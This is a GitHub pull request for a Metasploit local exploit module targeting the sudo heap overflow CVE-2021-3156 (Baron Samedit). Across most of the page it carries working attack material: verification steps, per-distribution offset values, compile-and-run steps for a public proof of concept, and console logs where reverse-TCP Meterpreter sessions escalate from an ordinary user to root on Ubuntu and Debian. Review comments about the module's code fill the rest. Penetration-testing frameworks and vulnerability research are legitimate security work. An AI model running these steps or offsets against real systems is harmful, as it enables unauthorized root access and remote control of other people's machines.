Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-3156 Sudo LPE (AKA: Baron Samedit) #14715

Merged
merged 9 commits into from
Feb 4, 2021

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Feb 3, 2021

This adds an initial exploit for CVE-2021-3156 which is a heap-based buffer overflow in the sudo utility which came out recently. This is based on the blasty PoC which is ideal because it allows us to load a payload library. I had to update and wrap the C code in some setup that would create a PTY and set the working directory to function correctly. While I was hoping to avoid requiring GCC to be present on the remote system, it's required to compile the code to craft the execve call. Other options I explored like Python, do not expose the level of control necessary for crafting the environment variables to facilitate exploitation. Metasm may fix this if it can link against libutil and it's something on my list for a future revision.

From my testing on Ubuntu 20.04.1 x64, it has been highly-reliable. I've tested the exploit module from both a Meterpreter session and a shell session. Because of the setup logic I added, it should be pretty independent of the operating environment. I'm not aware of any scenarios in which it'll fail (assuming the target is vulnerable that is).

Future Work

  • Add a check method
  • Add additional targets for affected hosts
  • Investigate an auto-target that would incorporate the necessary bruteforcing
    • Also an auto-target that could fingerprint the necessary versions and select an existing target
  • Randomize the payload library name that's written to disk
  • Investigate using Metasm to compile the ELF file and remove the gcc dependency

Verification

Testing is pretty simple. You'll want to test against the one functioning target (Ubuntu 20.04.1 x64)

  • Start msfconsole
  • use exploit/multi/ssh/sshexec to get a session (either shell or meterpreter) as a normal user
  • use exploit/linux/local/cve_2021_3156_sudo
  • Set the TARGET option
  • Set the payload options as desired
  • Run the exploit and get a root shell

Example

msf6 exploit(multi/ssh/sshexec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.34:22 - Sending stager...
[*] Command Stager progress -  47.24% done (410/868 bytes)
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:45494) at 2021-02-03 17:14:42 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (868/868 bytes)
meterpreter > getuid
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer     : 192.168.159.34
OS           : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/cve_2021_3156_sudo 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3156_sudo) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3156_sudo) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/cve_2021_3156_sudo) > set TARGET 1
TARGET => 1
msf6 exploit(linux/local/cve_2021_3156_sudo) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Writing '/tmp/CEmBxB3Sec.c' (3666 bytes) ...
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:45496) at 2021-02-03 17:15:29 -0500
[+] Deleted /tmp/CEmBxB3Sec.c
[+] Deleted /tmp/CEmBxB3Sec
meterpreter > getuid
Server username: root @ ubuntu (uid=1000, gid=1000, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.159.34
OS           : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

@bcoles
Copy link
Contributor

bcoles commented Feb 4, 2021

From my testing on Ubuntu 20.04.1 x64, it has been highly-reliable. I've tested the exploit module from both a Meterpreter session and a shell session.

FWIW; I've tested blasty's exploit on a few systems. The Ubuntu 20.04.1 target also works on Ubuntu 18.04.1, 18.04.3, 18.04.4 and Linux Mint 19.2. Reliable. The test systems were mostly clean (but not entirely fresh - the Linux Mint host is a mess).

modules/exploits/linux/local/cve_2021_3156_sudo.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/cve_2021_3156_sudo.rb Outdated Show resolved Hide resolved
fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?

path = datastore['WritableDir']
cmd_exec("mkdir -p #{path}/libnss_X")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The File mixin has a helper for this.

Suggested change
cmd_exec("mkdir -p #{path}/libnss_X")
mkdir("#{path}/libnss_X")
# grep -rn "def mkdir" lib/msf -A 15
lib/msf/core/post/file.rb:81:  def mkdir(path)
lib/msf/core/post/file.rb-82-    vprint_status("Creating directory #{path}")
lib/msf/core/post/file.rb-83-    if session.type == 'meterpreter'
lib/msf/core/post/file.rb-84-      vprint_status("Meterpreter Session")
lib/msf/core/post/file.rb-85-      result = session.fs.dir.mkdir(path)
lib/msf/core/post/file.rb-86-    else
lib/msf/core/post/file.rb-87-      if session.platform == 'windows'
lib/msf/core/post/file.rb-88-        result = cmd_exec("mkdir \"#{path}\"")
lib/msf/core/post/file.rb-89-      else
lib/msf/core/post/file.rb-90-        result = cmd_exec("mkdir -p '#{path}'")
lib/msf/core/post/file.rb-91-      end
lib/msf/core/post/file.rb-92-    end
lib/msf/core/post/file.rb-93-    vprint_status("#{path} created")
lib/msf/core/post/file.rb-94-    register_dir_for_cleanup(path)
lib/msf/core/post/file.rb-95-    result
lib/msf/core/post/file.rb-96-  end

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After switching to this method, the module started to fail.

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_mkdir: Operation failed: 1
[*] Exploit completed, but no session was created.

The meterpreter I was running was mettle, so it looks like there's an issue present. Until I can get that sorted out, I'm leaving it as is.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nevermind, there's no bug here. When a meterpreter session is used, mkdir fails when the directory already exists and throws an exception. When a shell session is used and the directory already exists it does not fail which was what I ran into. I'll update the module in the next round of changes to use this mixin method.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nevermind, there's no bug here.

There are multiple bugs here.

This module will break if the writable path contains spaces. The mixin uses quotes (') on the directory path to prevent issues with spaces.

When a meterpreter session is used, mkdir fails when the directory already exists and throws an exception. When a shell session is used and the directory already exists it does not fail which was what I ran into.

The inconsistencies between shell mkdir and meterpreter mkdir have been discussed previously, but no issue was created and the inconsistency was never resolved.

However, this situation shouldn't even be possible. The path used to load the library should be random. In instances where parts of the path must be static (ie, "libnss_X/P0P_SH3LLZ_ .so.2"), a hidden directory with a random name should be created to house all dropped files (ie, ".<random>/libnss_X/P0P_SH3LLZ_ .so.2"). The entire directory can then be vaporised during cleanup.

On that topic, this module does not perform cleanup. If one user exploits this vulnerability to gain a root shell, then another user tries to run the exploit using the same writable directory, the exploit will fail as described above, regardless of whether the mkdir mixin method was used or mkdir was called manually, due to permission issues on the directory and library artifacts.

modules/exploits/linux/local/cve_2021_3156_sudo.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/cve_2021_3156_sudo.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/cve_2021_3156_sudo.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/cve_2021_3156_sudo.rb Outdated Show resolved Hide resolved
@bcoles
Copy link
Contributor

bcoles commented Feb 4, 2021

I'm not aware of any scenarios in which it'll fail (assuming the target is vulnerable that is).

There is apparently an issue where exploitation will fail in instances where the user is permitted to use sudo. blasty/CVE-2021-3156#1 (comment)

It's not something I've run into - all my tests have been on user accounts not listed in sudoers.

@bwatters-r7 bwatters-r7 self-assigned this Feb 4, 2021
@bwatters-r7
Copy link
Contributor

From my testing on Ubuntu 20.04.1 x64, it has been highly-reliable. I've tested the exploit module from both a Meterpreter session and a shell session.

FWIW; I've tested blasty's exploit on a few systems. The Ubuntu 20.04.1 target also works on Ubuntu 18.04.1, 18.04.3, 18.04.4 and Linux Mint 19.2. Reliable. The test systems were mostly clean (but not entirely fresh - the Linux Mint host is a mess).

@bcoles, that's a good data point, as @smcintyre-r7 and I were unable to get the default values in 20.04.1 to work. (Notice that the original PoC used lc length of 212 for 20.04 and 18.04; this uses 200. It worked for both Spencer's test vm and mine.)

I just realized I made a mistake earlier today while testing 18.04.1, and it does appear to work well with lc length of 212:
image

But I retested and 20.04.1 does not work with an lc length of 212, but 200 works:
image
These are both fresh stock Ubuntu installs, I think the only programs I installed were net-tools, openssh-server, gcc, parallel, and make.

@nu11secur1ty
Copy link

nu11secur1ty commented Feb 4, 2021

This adds an initial exploit for CVE-2021-3156 which is a heap-based buffer overflow in the sudo utility which came out recently. This is based on the blasty PoC which is ideal because it allows us to load a payload library. I had to update and wrap the C code in some setup that would create a PTY and set the working directory to function correctly. While I was hoping to avoid requiring GCC to be present on the remote system, it's required to compile the code to craft the execve call. Other options I explored like Python, do not expose the level of control necessary for crafting the environment variables to facilitate exploitation. Metasm may fix this if it can link against libutil and it's something on my list for a future revision.

From my testing on Ubuntu 20.04.1 x64, it has been highly-reliable. I've tested the exploit module from both a Meterpreter session and a shell session. Because of the setup logic I added, it should be pretty independent of the operating environment. I'm not aware of any scenarios in which it'll fail (assuming the target is vulnerable that is).

Future Work

  • Add a check method
  • Add additional targets for affected hosts
  • Investigate an auto-target that would incorporate the necessary bruteforcing
  • Randomize the payload library name that's written to disk
  • Investigate using Metasm to compile the ELF file and remove the gcc dependency

Verification

Testing is pretty simple. You'll want to test against the one functioning target (Ubuntu 20.04.1 x64)

  • Start msfconsole
  • use exploit/multi/ssh/sshexec to get a session (either shell or meterpreter) as a normal user
  • use exploit/linux/local/cve_2021_3156_sudo
  • Set the TARGET option
  • Set the payload options as desired
  • Run the exploit and get a root shell

Example

msf6 exploit(multi/ssh/sshexec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.34:22 - Sending stager...
[*] Command Stager progress -  47.24% done (410/868 bytes)
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.34:45494) at 2021-02-03 17:14:42 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (868/868 bytes)
meterpreter > getuid
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer     : 192.168.159.34
OS           : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/ssh/sshexec) > use exploit/linux/local/cve_2021_3156_sudo 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3156_sudo) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3156_sudo) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/cve_2021_3156_sudo) > set TARGET 1
TARGET => 1
msf6 exploit(linux/local/cve_2021_3156_sudo) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Writing '/tmp/CEmBxB3Sec.c' (3666 bytes) ...
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.34:45496) at 2021-02-03 17:15:29 -0500
[+] Deleted /tmp/CEmBxB3Sec.c
[+] Deleted /tmp/CEmBxB3Sec
meterpreter > getuid
Server username: root @ ubuntu (uid=1000, gid=1000, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.159.34
OS           : Ubuntu 20.04 (Linux 5.8.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

Also, 19.04 is vulnerable too ;) BR https://www.youtube.com/watch?v=qs0XHTvtt_c

@zeroSteiner
Copy link
Contributor Author

Thanks @nu11secur1ty, if you want to send us the offsets and versions that would be helpful. I'm planning on adding additional targets next week.

@nu11secur1ty
Copy link

nu11secur1ty commented Feb 4, 2021

Thanks @nu11secur1ty, if you want to send us the offsets and versions that would be helpful. I'm planning on adding additional targets next week.

Ok, so. You can check here dear friend!
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021
BR

@bwatters-r7
Copy link
Contributor

Ubuntu 18.04.1 using manual values

msf6 payload(linux/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(linux/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 192.168.135.197:4567 
[*] Sending stage (3008420 bytes) to 192.168.132.189
[*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.189:60120) at 2021-02-04 08:46:27 -0600

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 192.168.132.189
OS           : Ubuntu 18.04 (Linux 4.15.0-29-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: msfuser @ ubuntu-18041 (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > ls /root
[-] stdapi_fs_ls: Operation failed: 1
meterpreter > background
[*] Backgrounding session 1...

msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/sudo_baron_samedit 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > show options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Ubuntu 20.04.1 x64 (sudo v1.8.31, libc v2.31)


msf6 exploit(linux/local/sudo_baron_samedit) > set verbose true
verbose => true
msf6 exploit(linux/local/sudo_baron_samedit) > set Lengths 56,54,63,212
Lengths => 56,54,63,212
msf6 exploit(linux/local/sudo_baron_samedit) > show options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Ubuntu 20.04.1 x64 (sudo v1.8.31, libc v2.31)


msf6 exploit(linux/local/sudo_baron_samedit) > set session 1
session => 1
msf6 exploit(linux/local/sudo_baron_samedit) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. sudo 1.8.21.2 is a vulnerable build.
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.132.189
[*] Meterpreter session 2 opened (192.168.135.197:4444 -> 192.168.132.189:60674) at 2021-02-04 08:51:22 -0600

meterpreter > sysinfo
Computer     : 192.168.132.189
OS           : Ubuntu 18.04 (Linux 4.15.0-29-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root @ ubuntu-18041 (uid=1000, gid=1000, euid=0, egid=0)
meterpreter > ls /root
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  3106  fil   2021-02-02 22:49:41 -0600  .bashrc
40700/rwx------   4096  dir   2021-02-02 22:50:36 -0600  .cache
100644/rw-r--r--  148   fil   2021-02-02 22:49:41 -0600  .profile

meterpreter > 

Ubuntu 20.04.1 using target 1

msf6 exploit(linux/local/sudo_baron_samedit) > 
[*] Sending stage (3008420 bytes) to 192.168.132.139
[*] Meterpreter session 3 opened (192.168.135.197:4567 -> 192.168.132.139:50350) at 2021-02-04 09:02:40 -0600

msf6 exploit(linux/local/sudo_baron_samedit) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > getuid
Server username: msfuser @ ubuntu-20041 (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer     : 192.168.132.139
OS           : Ubuntu 20.04 (Linux 5.4.0-42-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: msfuser @ ubuntu-20041 (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > ls /root 
[-] stdapi_fs_ls: Operation failed: 1
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(linux/local/sudo_baron_samedit) > show options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      1                yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Ubuntu 20.04.1 x64 (sudo v1.8.31, libc v2.31)


msf6 exploit(linux/local/sudo_baron_samedit) > set session 3
session => 3
msf6 exploit(linux/local/sudo_baron_samedit) > set verbose true
verbose => true
msf6 exploit(linux/local/sudo_baron_samedit) > set target 1
target => 1
msf6 exploit(linux/local/sudo_baron_samedit) > unset Lengths 
Unsetting Lengths...
msf6 exploit(linux/local/sudo_baron_samedit) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (532 bytes) ...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.132.139
[*] Meterpreter session 4 opened (192.168.135.197:4444 -> 192.168.132.139:55798) at 2021-02-04 09:04:14 -0600

meterpreter > sysinfo
Computer     : 192.168.132.139
OS           : Ubuntu 20.04 (Linux 5.4.0-42-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root @ ubuntu-20041 (uid=1000, gid=1000, euid=0, egid=0)
meterpreter > ls /root 
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  3106  fil   2021-02-01 17:14:55 -0600  .bashrc
40700/rwx------   4096  dir   2021-02-01 17:16:01 -0600  .cache
100644/rw-r--r--  161   fil   2021-02-01 17:14:55 -0600  .profile

meterpreter > 

I noticed that the getuid returned root but with different ids. I went ahead and did the ls of the /root directory to verify we had the right permissions.

@zeroSteiner
Copy link
Contributor Author

zeroSteiner commented Feb 4, 2021

I noticed that the getuid returned root but with different ids. I went ahead and did the ls of the /root directory to verify we had the right permissions.

Yeah I noticed the same thing. If you use a couple of the set prepend options you can fix that though.

msf6 exploit(linux/local/sudo_baron_samedit) > set PrependSetuid true
PrependSetuid => true
msf6 exploit(linux/local/sudo_baron_samedit) > set PrependSetgid true
PrependSetgid => true
msf6 exploit(linux/local/sudo_baron_samedit) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (564 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.34
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.34:45576) at 2021-02-04 10:10:15 -0500


meterpreter > 
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > 

Maybe they should be set as default options.

@bwatters-r7
Copy link
Contributor

Retest with targeting info

msf6 payload(linux/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 1

[*] Started reverse TCP handler on 192.168.135.197:4567 
msf6 payload(linux/x64/meterpreter/reverse_tcp) > [*] Sending stage (3008420 bytes) to 192.168.132.189
[*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.189:33842) at 2021-02-04 09:56:10 -0600

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 192.168.132.189
OS           : Ubuntu 18.04 (Linux 4.15.0-29-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: msfuser @ ubuntu-18041 (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/sudo_baron_samedit 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > show options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION                       yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.197  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)


msf6 exploit(linux/local/sudo_baron_samedit) > set session 1
session => 1
msf6 exploit(linux/local/sudo_baron_samedit) > set lhost 192.168.135.197
lhost => 192.168.135.197
msf6 exploit(linux/local/sudo_baron_samedit) > info

       Name: Sudo Heap-Based Buffer Overflow
     Module: exploit/linux/local/sudo_baron_samedit
   Platform: Unix, Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-26

Provided by:
  Qualys
  Spencer McIntyre
  bwatters-r7
  blasty <[email protected]>
  Alexander Krog

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Manual
  1   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
  2   Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  SESSION      1                yes       The session to run this module on.
  WritableDir  /tmp             yes       A directory where you can write files.

Payload information:

Description:
  A heap based buffer overflow exists in the sudo command line utility 
  that can be exploited by a local attacker to gain elevated 
  privileges. The vulnerability was introduced in July of 2011 and 
  affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 
  1.9.5p1 in their default configurations. The technique used by this 
  implementation leverages the overflow to overwrite a service_user 
  struct in memory to reference an attacker controlled library which 
  results in it being loaded with the elevated privileges held by 
  sudo.

References:
  https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
  https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
  https://www.kalmarunionen.dk/writeups/sudo/
  https://github.com/blasty/CVE-2021-3156/blob/main/hax.c
  https://cvedetails.com/cve/CVE-2021-3156/

Also known as:
  Baron Samedit

msf6 exploit(linux/local/sudo_baron_samedit) > set target 2
target => 2
msf6 exploit(linux/local/sudo_baron_samedit) > run

[*] Started reverse TCP handler on 192.168.135.197:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. sudo 1.8.21.2 is a vulnerable build.
[*] Writing '/tmp/libnss_X/P0P_SH3LLZ_ .so.2' (564 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.132.189
[*] Meterpreter session 2 opened (192.168.135.197:4444 -> 192.168.132.189:34304) at 2021-02-04 09:58:21 -0600

meterpreter > getuid
Server username: root @ ubuntu-18041 (uid=0, gid=0, euid=0, egid=0)
meterpreter > 


bwatters-r7 added a commit that referenced this pull request Feb 4, 2021
Merge branch 'land-14715' into upstream-master
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Feb 4, 2021

Release Notes

New module exploits/linux/local/sudo_baron_samedit exploits a recently disclosed heap-based buffer overflow in the sudo utility (CVE-2021-3156, a.k.a. Baron Samedit).

@bwatters-r7 bwatters-r7 merged commit 434c54d into rapid7:master Feb 4, 2021
@pbarry-r7 pbarry-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 4, 2021
@bcoles
Copy link
Contributor

bcoles commented Feb 5, 2021

Not sure why the module targets Ubuntu only?

The offsets in blasty's exploit work for the Debian 10.

user@debian-10-0-0-x64:~$ git clone https://github.com/blasty/CVE-2021-3156Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Unpacking objects: 100% (50/50), done.
user@debian-10-0-0-x64:~$ cd CVE-2021-3156/
user@debian-10-0-0-x64:~/CVE-2021-3156$ ls
brute.sh  hax.c  lib.c  Makefile  README.md
user@debian-10-0-0-x64:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
user@debian-10-0-0-x64:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 

** CVE-2021-3156 PoC by blasty <[email protected]>

  usage: ./sudo-hax-me-a-sandwich <target>

  available targets:
  ------------------------------------------------------------
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
  ------------------------------------------------------------

  manual mode:
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

user@debian-10-0-0-x64:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 2

** CVE-2021-3156 PoC by blasty <[email protected]>

using target: Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 ['/usr/bin/sudoedit'] (64, 49, 60, 214)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner),1000(user)
# 
user@debian-10-0-0-x64:~/CVE-2021-3156$ sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
user@debian-10-0-0-x64:~/CVE-2021-3156$ ldd --version
ldd (Debian GLIBC 2.28-10) 2.28
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
user@debian-10-0-0-x64:~/CVE-2021-3156$ uname -a
Linux debian-10-0-0-x64 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5 (2019-06-19) x86_64 GNU/Linux
user@debian-10-0-0-x64:~/CVE-2021-3156$ cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
user@debian-10-0-0-x64:~/CVE-2021-3156$ 
msf6 exploit(multi/handler) > [*] Sending stage (3008420 bytes) to 172.16.191.133
[*] Meterpreter session 1 opened (172.16.191.165:1337 -> 172.16.191.133:37992) at 2021-02-05 01:47:37 -0500

msf6 exploit(multi/handler) > use exploit/linux/local/sudo_baron_samedit 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > set session 1
session => 1
msf6 exploit(linux/local/sudo_baron_samedit) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Manual
   1   Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)
   2   Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)


msf6 exploit(linux/local/sudo_baron_samedit) > set target 0
target => 0
msf6 exploit(linux/local/sudo_baron_samedit) > set LENGTHS 64, 49, 60, 214
LENGTHS => 64, 49, 60, 214
msf6 exploit(linux/local/sudo_baron_samedit) > set payload
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/sudo_baron_samedit) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. sudo 1.8.27 is a vulnerable build.
